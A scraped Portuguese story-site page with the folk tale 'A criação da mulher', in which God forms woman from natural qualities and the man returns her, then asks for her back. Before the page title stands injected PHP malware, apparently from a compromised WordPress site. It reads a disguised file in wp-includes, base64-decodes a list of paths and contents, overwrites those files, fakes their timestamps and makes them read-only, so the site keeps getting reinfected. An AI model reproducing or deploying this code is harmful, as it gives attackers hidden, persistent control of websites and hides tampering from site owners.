$wp_update_file="/home/defaultwebsite/public/wp-includes/Text/Diff/Engine/filters.php"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } A criação da mulher | Casa do Contador de Historias

A criação da mulher

Conta uma lenda que, no princípio do mundo, quando Deus decidiu criar a mulher, viu que havia esgotado todos os materiais para fazer o homem e não tinha do que dispor.

Diante deste dilema e depois de uma profunda meditação, fez isso:

Pegou a forma arredondada da lua…

As suaves curvas das ondas…

A terna aderência das bromélias…

O trêmulo movimento das folhas…

A forma esbelta da palmeira…

A nuance delicada das flores…

O amoroso olhar do cervo…

A alegria do raio de sol e as gotas do choro das nuvens…

A inconstância do vento e a fidelidade do cão…

E a vaidade do pavão…

A suavidade da pena do cisne e a dureza do diamante…

A doçura da pomba e a crueldade do tigre…

O ardor do fogo e a frieza da neve.

Misturou ingredientes tão diferentes, formou a mulher!!!

E deu ao homem!!!

Depois de uma semana veio o homem e lhe disse:

– Senhor, a criatura que você deu me faz desgostoso, quer toda minha atenção, nunca me deixa sozinho, fala sem parar, chora sem motivo, se diverte em me fazer sofrer, venho a devolvê-la porque não posso viver com ela.

– Bem…, respondeu Deus e pegou a mulher.

Uma semana se passou e o homem voltou e lhe disse:

– Senhor, me encontro muito sozinho desde que eu devolvi a criatura que fizeste para mim, ela cantava e brincava ao meu lado, me olhava com ternura e o seu olhar era uma carícia, ria e seu riso era música, era bonito de se ver e suave ao tato. Devolva-me! Não posso viver sem a mulher!

Autor Desconhecido.
Se você conhece o autor desta história, entre em contato conosco.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Rolar para cima